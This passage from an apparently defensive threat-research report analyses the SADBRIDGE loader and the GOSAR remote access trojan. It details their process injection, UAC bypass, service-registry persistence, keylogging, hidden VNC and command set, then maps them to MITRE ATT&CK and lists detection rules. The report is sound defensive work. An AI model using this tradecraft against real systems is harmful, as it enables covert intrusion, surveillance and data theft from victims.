<p>If <code>360tray.exe</code> is detected running, the malware writes an encrypted PE file to <code>DevQueryBrokerService.log</code>, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.</p>
<p>Once <code>DevQueryBroker.exe</code> is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.</p>
<p>On Windows 7, however, it executes a shellcode, which decrypts and runs the <code>DevQueryBrokerPre.log</code> file.</p>
<h3>Stage 1 Injection (explorer.exe)</h3>
<p>SADBRIDGE utilizes <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty Variant 7</a> to inject shellcode into <code>explorer.exe</code> by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within <code>explorer.exe</code> to store the shellcode. Additional memory is allocated to store a crafted <a href="https://github.com/SafeBreach-Labs/PoolParty/blob/77e968b35f4bad74add33ea8a2b0b5ed9543276c/PoolParty/ThreadPool.hpp#L42"><code>TP_DIRECT</code></a> structure, which includes the base address of the shellcode as the callback address. Finally, it calls <code>ZwSetIoCompletion</code>, passing a pointer to the <code>TP_DIRECT</code> structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image21.png" alt="I/O Completion Port Shellcode Injection" /></p>
<p>This shellcode decrypts the <code>DevQueryBrokerService.log</code> file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.</p>
<h3>Stage 2 Injection (spoolsv.exe/lsass.exe)</h3>
<p>For Stage 2, SADBRIDGE injects shellcode into <code>spoolsv.exe</code>, or <code>lsass.exe</code> if <code>spoolsv.exe</code> is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts <code>DevQueryBrokerPre.log</code> into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.</p>
<h4>DevQueryBrokerService.log</h4>
<p>The shellcode decrypted from <code>DevQueryBrokerService.log</code> as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC <a href="https://github.com/zcgonvh/TaskSchedulerMisc">bypass technique</a> using the <code>IElevatedFactorySever</code> COM object to indirectly create the scheduled task. This task is configured to run <code>DevQueryBroker.exe</code> on a daily basis with SYSTEM level privileges using the task name <code>DevQueryBrokerService</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image9.png" alt="GUID in Scheduled Task Creation (Virtual Factory for MaintenanceUI)" /></p>
<p>In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from <code>explorer.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image13.png" alt="DevQueryBrokerService.log Spoofed Image Command-Line" /></p>
<h4>DevQueryBrokerPre.log</h4>
<p>SADBRIDGE creates a service named <code>DevQueryBrokerServiceSvc</code> under the registry subkey <code>SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc</code> with the following attributes:</p>
<ul>
<li><strong>Description</strong>: Enables apps to discover devices with a background task.</li>
<li><strong>DisplayName</strong>: DevQuery Background Discovery Broker Service</li>
<li><strong>ErrorControl</strong>: 1</li>
<li><strong>ImagePath</strong>: <code>%systemRoot%\system32\svchost.exe -k netsvcs</code></li>
<li><strong>ObjectName</strong>: LocalSystem</li>
<li><strong>Start</strong>: 2 (auto-start)</li>
<li><strong>Type</strong>: 16.</li>
<li><strong>Failure Actions</strong>:
<ul>
<li>Resets failure count every 24 hours.</li>
<li>Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.</li>
</ul>
</li>
</ul>
<p>The service parameters specify the <code>ServiceDll</code> located at <code>C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\&lt;hostname_hash&gt;\DevQueryBrokerService.dll</code>. If the DLL file does not exist, it will be dropped to disk right after.</p>
<p><code>DevQueryBrokerService.dll</code> has a similar code structure as <code>HealthServiceRuntime.dll</code>, which is seen in the earlier stages of the execution chain. It is responsible for decrypting <code>DevQueryBroker.log</code> and running it. The <code>ServiceDll</code> will be loaded and executed by <code>svchost.exe</code> when the service starts.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image12.png" alt="svchost.exe’s malicious ServiceDLL parameter" /></p>
<p>Additionally, it modifies the <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs</code> key to include an entry for <code>DevQueryBrokerServiceSvc</code> to integrate the newly created service into the group of services managed by the <code>netsvcs</code> service host group.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image19.png" alt="Modifies the netsvc registry key to add DevQueryBrokerServiceSvc" /></p>
<p>SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys <code>SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService</code> and <code>SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService</code>.</p>
<p>Finally, it removes the files <code>DevQueryBroker.exe</code> and <code>HealthServiceRuntime.dll</code> in the <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker</code> folder, as the new persistence mechanism is in place.</p>
<h2>GOSAR Injection</h2>
<p>In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the <code>WTSEnumerateSessionsA</code> API.</p>
<p>If sessions are found, it iterates through each session:</p>
<ul>
<li>For each session, it attempts to retrieve the username (<code>WTSUserName</code>) using <code>WTSQuerySessionInformationA</code>. If the query fails, it moves to the next session.</li>
<li>If <code>WTSUserName</code> is not empty, the code targets <code>svchost.exe</code>, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.</li>
<li>If <code>WTSUserName</code> is empty but the session's <code>WinStationName</code> is <code>&quot;Services&quot;</code> (indicating a service session), it targets <code>dllhost.exe</code> instead, passing the same parameters to the final stage injection subroutine.</li>
</ul>
<p>If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.</p>
<p>Logged-in sessions target <code>svchost.exe</code>, while service sessions or sessions without a logged-in user target <code>dllhost.exe</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image6.png" alt="Enumeration of active sessions" /></p>
<p>If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to <code>S-1-16-12288</code> (System integrity). It then uses the elevated token to create a child process (<code>svchost.exe</code> or <code>dllhost.exe</code>) via <code>CreateProcessAsUserA</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image4.png" alt="Duplication of user token and elevating token privileges" /></p>
<p>If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using <code>CreateProcessA</code>.</p>
<p>The encrypted shellcode <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code> is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt <code>.log</code> files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image2.png" alt="APC injection to run GOSAR" /></p>
<p>Finally, the injected shellcode decrypts <code>DevQueryBrokerCore.log</code> to GOSAR and runs it in the newly created process’s memory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image33.png" alt="GOSAR injected into dllhost.exe and svchost.exe" /></p>
<h2>GOSAR Introduction</h2>
<p>GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.</p>
<p>By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image29.png" alt="Low detection rate on GOSAR VT upload" /></p>
<p>Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).</p>
<h2>GOSAR Code Analysis Overview</h2>
<h3>Code structure of GOSAR</h3>
<p>As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version <code>0.12.01</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image26.png" alt="GOSAR code structure" /></p>
<ul>
<li><strong>vibrant/config</strong>: Contains the configuration files for the malware.</li>
<li><strong>vibrant/proto</strong>: Houses all the Google Protocol Buffers (proto) declarations.</li>
<li><strong>vibrant/network</strong>: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener</li>
<li><strong>vibrant/msgs/resolvers</strong>: Defines the commands handled by the malware. These commands are assigned to an object within the <code>vibrant_msgs_init*</code> functions.</li>
<li><strong>vibrant/msgs/services</strong>: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the <code>vibrant_network._ptr_Connection.Start</code> function.</li>
<li><strong>vibrant/logs</strong>: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.</li>
<li><strong>vibrant/pkg/helpers</strong>: Contains helper functions used across various malware commands and services.</li>
<li><strong>vibrant/pkg/screenshot</strong>: Handles the screenshot capture functionality on the infected system.</li>
<li><strong>vibrant/pkg/utils</strong>: Includes utility functions, such as generating random values.</li>
<li><strong>vibrant/pkg/native</strong>: Provides functions for calling Windows API (WINAPI) functions.</li>
</ul>
<h3>New Additions to GOSAR</h3>
<h4>Communication and information gathering</h4>
<p>This new variant continues to use the same communication method as the original, based on <strong>TCP TLS</strong>. Upon connection, it first sends system information to the C2, with 4 new fields added:</p>
<ul>
<li>IPAddress</li>
<li>AntiVirus</li>
<li>ClipboardSettings</li>
<li>Wallets</li>
</ul>
<p>The list of AntiViruses and digital wallets are initialized in the function <code>vibrant_pkg_helpers_init</code> and can be found at the bottom of this document.</p>
<h4>Services</h4>
<p>The malware handles 3 services that are started during the initial connection of the client to the C2:</p>
<ul>
<li>vibrant_services_KeyLogger</li>
<li>vibrant_services_ClipboardLogger</li>
<li>vibrant_services_TickWriteFile</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image22.png" alt="GOSAR services" /></p>
<h5>KeyLogger</h5>
<p>The keylogging functionality in GOSAR is implemented in the <code>vibrant_services_KeyLogger</code> function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa"><code>SetWindowsHookEx</code></a> with the parameter <code>WH_KEYBOARD_LL</code> to monitor low-level keyboard events. The hook function is named <code>vibrant_services_KeyLogger_func1</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image28.png" alt="GOSAR setting the keylogger" /></p>
<h5>ClipboardLogger</h5>
<p>The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-isclipboardformatavailable"><code>IsClipboardFormatAvailable</code></a> then retrieves it using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboarddata"><code>GetClipboardData</code></a> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image34.png" alt="GOSAR clipboard logging" /></p>
<h5>TickWriteFile</h5>
<p>Both <code>ClipboardLogger</code> and <code>KeyLogger</code> services collect data that is written by the <code>TickWriteFile</code> periodically to directory (<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics</code>) under a file of the current date, example <code>2024-11-27</code>.<br />
It can be decrypted by first subtracting the value <code>0x1f</code> then xoring it with the value <code>0x18</code> as shown in the CyberChef recipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image24.png" alt="CyberChef recipe used to decrypt keylogger logs" /></p>
<h4>Networking setup</h4>
<p>After initializing its services, the malware spawns <strong>three threads</strong> dedicated to its networking setup.</p>
<ul>
<li>vibrant_network_ConfigFirewallRule</li>
<li>vibrant_network_ConfigHosts</li>
<li>vibrant_network_ConfigAutoListener</li>
</ul>
<p><a href="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image15.png">Threads handling networking setup</a></p>
<h5>ConfigFirewallRule</h5>
<p>The malware creates an inbound firewall rule for the ports range <code>51756-51776</code> under a Chinese name that is translated to <code>Distributed Transaction Coordinator (LAN)</code> it allows all programs and IP addresses inbound the description is set to :<code>Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image23.png" alt="Added firewall rule" /></p>
<h5>ConfigHosts</h5>
<p>This function adds an entry to <code>c:\Windows\System32\Drivers\etc\hosts</code> the following <code>127.0.0.1 micrornetworks.com</code>. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.</p>
<h5>ConfigAutoListener</h5>
<p>This functionality of the malware runs an HTTP server listener on the first available port within the range <code>51756-51776</code>, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a <code>GET</code> request to the URI <code>/security.js</code>, responding with the string <code>callback();</code>, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image5.png" alt="Callback handled by GOSAR" /></p>
<h4>Logs</h4>
<p>The malware saves its runtime logs in the directory: <code>%APPDATA%\Roaming\Microsoft\Logs</code> under the filename formatted as: <code>windows-update-log-&lt;YearMonthDay&gt;.log</code>.<br />
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the <code>vibrant_config</code> function, the following is an example:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image16.png" alt="Logs example generated by GOSAR" /></p>
<p>The attacker can remotely retrieve the malware's runtime logs by issuing the command <code>ResolveGetRunLogs</code>.</p>
<h4>Plugins</h4>
<p>The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: <code>C:\ProgramData\policy-err.log</code>. To execute a plugin, the command <code>ResolveDoExecutePlugin</code> is called, it first checks if a plugin is available.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image35.png" alt="GOSAR checking for existence of a plugin to execute" /></p>
<p>It then loads a native DLL reflectively that is stored in base64 format in the binary named <code>plugins.dll</code> and executes its export function <code>ExecPlugin</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image25.png" alt="GOSAR loading plugins.dlll and calling ExecPlugin" /></p>
<p><code>ExecPlugin</code> creates a suspended process of <code>C:\Windows\System32\msiexec.exe</code> with the arguments <code>/package</code> <code>/quiet</code>. It then queues <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Asynchronous Procedure Calls</a> (APC) to the process's 	main thread. When the thread is resumed, the queued shellcode is executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/image36.png" alt="GOSAR plugin module injecting a PE in msiexec.exe" /></p>
<p>The shellcode reads the encrypted plugin stored at <code>C:\ProgramData\policy-err.log</code>, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.</p>
<h4>HVNC</h4>
<p>The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands</p>
<ul>
<li>ResolveHVNCCommand</li>
<li>ResolveGetHVNCScreen</li>
<li>ResolveStopHVNC</li>
<li>ResolveDoHVNCKeyboardEvent</li>
<li>ResolveDoHVNCMouseEvent</li>
</ul>
<p>The first command that is executed is <code>ResolveGetHVNCScreen</code> which will first initialise it and set up a view, it uses an embedded native DLL <code>HiddenDesktop.dll</code> in base64 format, the DLL is reflectively loaded into memory and executed.</p>
<p>The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:</p>
<ul>
<li>ExcuteCommand</li>
<li>DoMouseScroll</li>
<li>DoMouseRightClick</li>
<li>DoMouseMove</li>
<li>DoMouseLeftClick</li>
<li>DoKeyPress</li>
<li>CaptureScreen</li>
</ul>
<p>The first export function called is <code>Initialise</code> to initialise a desktop with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdesktopa"><code>CreateDesktopA</code></a> API. This HVNC implementation handles 17 commands in total that can be found in <code>ExcuteCommand</code> export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command <code>ResolveHVNCCommand</code> that will call <code>ExcuteCommand</code>.</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0x401</td>
<td align="left">The function first disables taskbar button grouping by setting the <code>TaskbarGlomLevel</code> registry key to <code>2</code> under <code>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</code>. Next, it ensures the taskbar is always visible and on top by using <code>SHAppBarMessage</code> with the <code>ABM_SETSTATE</code> command, setting the state to <code>ABS_ALWAYSONTOP</code>.</td>
</tr>
<tr>
<td align="left">0x402</td>
<td align="left">Spawns a RUN dialog box by executing the 61th export function of <code>shell32.dll</code>.<code>C:\Windows\system32\rundll32.exe shell32.dll,#61</code></td>
</tr>
<tr>
<td align="left">0x403</td>
<td align="left">Runs an instance of <code>powershell.exe</code></td>
</tr>
<tr>
<td align="left">0x404</td>
<td align="left">Executes a PE file stored in <code>C:\\ProgramData\\shell.log</code></td>
</tr>
<tr>
<td align="left">0x405</td>
<td align="left">Runs an instance of <code>chrome.exe</code></td>
</tr>
<tr>
<td align="left">0x406</td>
<td align="left">Runs an instance of <code>msedge.exe</code></td>
</tr>
<tr>
<td align="left">0x407</td>
<td align="left">Runs an instance of <code>firefox.exe</code></td>
</tr>
<tr>
<td align="left">0x408</td>
<td align="left">Runs an instance of <code>iexplore.exe</code></td>
</tr>
<tr>
<td align="left">0x409</td>
<td align="left">Runs an instance of <code>360se.exe</code></td>
</tr>
<tr>
<td align="left">0x40A</td>
<td align="left">Runs an instance of <code>360ChromeX.exe</code>.</td>
</tr>
<tr>
<td align="left">0x40B</td>
<td align="left">Runs an instance of <code>SogouExplorer.exe</code></td>
</tr>
<tr>
<td align="left">0x40C</td>
<td align="left">Close current window</td>
</tr>
<tr>
<td align="left">0x40D</td>
<td align="left">Minimizes the specified window</td>
</tr>
<tr>
<td align="left">0x40E</td>
<td align="left">Activates the window and displays it as a maximized window</td>
</tr>
<tr>
<td align="left">0x40F</td>
<td align="left">Kills the process of a window</td>
</tr>
<tr>
<td align="left">0x410</td>
<td align="left">Sets the clipboard</td>
</tr>
<tr>
<td align="left">0x411</td>
<td align="left">Clears the Clipboard</td>
</tr>
</tbody>
</table>
<h4>Screenshot</h4>
<p>The malware loads reflectively the third and last PE DLL embedded in base64 format named <code>Capture.dll</code>, it has 5 export functions:</p>
<ul>
<li>CaptureFirstScreen</li>
<li>CaptureNextScreen</li>
<li>GetBitmapInfo</li>
<li>GetBitmapInfoSize</li>
<li>SetQuality</li>
</ul>
<p>The library is first initialized by calling <code>resolvers_ResolveGetBitmapInfo</code> that reflectively loads and executes its <code>DllEntryPoint</code> which will setup the screen capture structures using common Windows APIs like <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatibledc"><code>CreateCompatibleDC</code></a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap"><code>CreateCompatibleBitmap</code></a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createdibsection"><code>CreateDIBSection</code></a>. The 2 export functions <code>CaptureFirstScreen</code> and <code>CaptureNextScreen</code> are used to capture a screenshot of the victim's desktop as a JPEG image.</p>
<h3>Observation</h3>
<p>Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.</p>
<p>It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.</p>
<h3>New functionality</h3>
<p>The following table provides a description of all the newly added commands:</p>
<table>
<thead>
<tr>
<th align="left">New commands</th>
<th align="left"></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">ResolveDoRoboCopy</td>
<td align="left">Executes <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy"><code>RoboCopy</code></a> command to copy files</td>
</tr>
<tr>
<td align="left">ResolveDoCompressFiles</td>
<td align="left">Compress files in a zip format</td>
</tr>
<tr>
<td align="left">ResolveDoExtractFile</td>
<td align="left">Extract a zip file</td>
</tr>
<tr>
<td align="left">ResolveDoCopyFiles</td>
<td align="left">Copies a directory or file in the infected machine</td>
</tr>
<tr>
<td align="left">ResolveGetRunLogs</td>
<td align="left">Get available logs</td>
</tr>
<tr>
<td align="left">ResolveHVNCCommand</td>
<td align="left">Execute a HVNC command</td>
</tr>
<tr>
<td align="left">ResolveGetHVNCScreen</td>
<td align="left">Initiate HVNC</td>
</tr>
<tr>
<td align="left">ResolveStopHVNC</td>
<td align="left">Stop the HVNC session</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCKeyboardEvent</td>
<td align="left">Send keyboard event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCMouseEvent</td>
<td align="left">Send mouse event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoExecutePlugin</td>
<td align="left">Execute a plugin</td>
</tr>
<tr>
<td align="left">ResolveGetProcesses</td>
<td align="left">Get a list of running processes</td>
</tr>
<tr>
<td align="left">ResolveDoProcessStart</td>
<td align="left">Start a process</td>
</tr>
<tr>
<td align="left">ResolveDoProcessEnd</td>
<td align="left">Kill a process</td>
</tr>
<tr>
<td align="left">ResolveGetBitmapInfo</td>
<td align="left">Retrieve the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapinfo"><strong>BITMAPINFO</strong></a> structure for the current screen's display settings</td>
</tr>
<tr>
<td align="left">ResolveGetMonitors</td>
<td align="left">Enumerate victim’s display monitors with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors"><code>EnumDisplayMonitors</code></a> API</td>
</tr>
<tr>
<td align="left">ResolveGetDesktop</td>
<td align="left">Start screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveStopGetDesktop</td>
<td align="left">Stop the screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveNewShellExecute</td>
<td align="left">Opens pipes to a spawned cmd.exe process and send commands to it</td>
</tr>
<tr>
<td align="left">ResolveGetSchTasks</td>
<td align="left">Get scheduled tasks by running the command <code>schtasks /query /fo list /v</code></td>
</tr>
<tr>
<td align="left">ResolveGetScreenshot</td>
<td align="left">Capture a screenshot of the victim’s desktop</td>
</tr>
<tr>
<td align="left">ResolveGetServices</td>
<td align="left">Get the list of services with a <strong>WMI</strong> query: <code>select * from Win32_Service</code></td>
</tr>
<tr>
<td align="left">ResolveDoServiceOperation</td>
<td align="left">Start or stop a service</td>
</tr>
<tr>
<td align="left">ResolveDoDisableMultiLogon</td>
<td align="left">Disable multiple session by user by setting the value <code>fSingleSessionPerUser</code> to 1 under the key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer</code></td>
</tr>
<tr>
<td align="left">ResolveDoRestoreNLA</td>
<td align="left">Restores the security settings for Remote Desktop Protocol (RDP), enabling <strong>Network Level Authentication</strong> (NLA) and enforcing <strong>SSL/TLS</strong> encryption for secure communication.</td>
</tr>
<tr>
<td align="left">ResolveGetRemoteClientInformation</td>
<td align="left">Get a list of all local users that are enabled, the <strong>RDP por</strong>t and <strong>LAN IP</strong> and <strong>OS specific information</strong>: <strong>DisplayVersion</strong>, <strong>SystemRoot</strong> and <strong>CurrentBuildNumber</strong> extracted from the registry key <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></td>
</tr>
<tr>
<td align="left">ResolveDoInstallWrapper</td>
<td align="left">Setup a Hidden Remote Desktop Protocol (<strong>HRDP</strong>)</td>
</tr>
<tr>
<td align="left">ResolveDoUninstallWrapper</td>
<td align="left">Uninstall <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveDoRecoverPrivileges</td>
<td align="left">Restores the original <strong><code>HKEY_LOCAL_MACHINE\\SAM\\SAM</code></strong> registry before changes were made during the installation of the <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveGetRemoteSessions</td>
<td align="left">Retrieve information about the RDP sessions on the machine.</td>
</tr>
<tr>
<td align="left">ResolveDoLogoffSession</td>
<td align="left">Logoff RDP session with <a href="https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtslogoffsession">**<code>WTSLogoffSession</code></a>** API</td>
</tr>
<tr>
<td align="left">ResolveGetSystemInfo</td>
<td align="left">Get system information</td>
</tr>
<tr>
<td align="left">ResolveGetConnections</td>
<td align="left">Get all the connections in the machine</td>
</tr>
<tr>
<td align="left">ResolveDoCloseConnection</td>
<td align="left">Not implemented</td>
</tr>
</tbody>
</table>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/004/">Process Injection: Asynchronous Procedure Call</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
</ul>
<h2>Mitigating REF3864</h2>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_amsi_bypass_powershell.toml">Potential Antimalware Scan Interface Bypass via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml">Unusual Print Spooler Child Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml">Execution from Unusual Directory - Command Line</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/external-ip-lookup-from-non-browser-process.html">External IP Lookup from Non-Browser Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml">Unusual Network Connection via DllHost</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_services_registry.toml">Unusual Persistence via Services Registry</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_parent_process_pid_spoofing.toml">Parent Process PID Spoofing</a></li>
</ul>
<h3>Prevention</h3>
<ul>
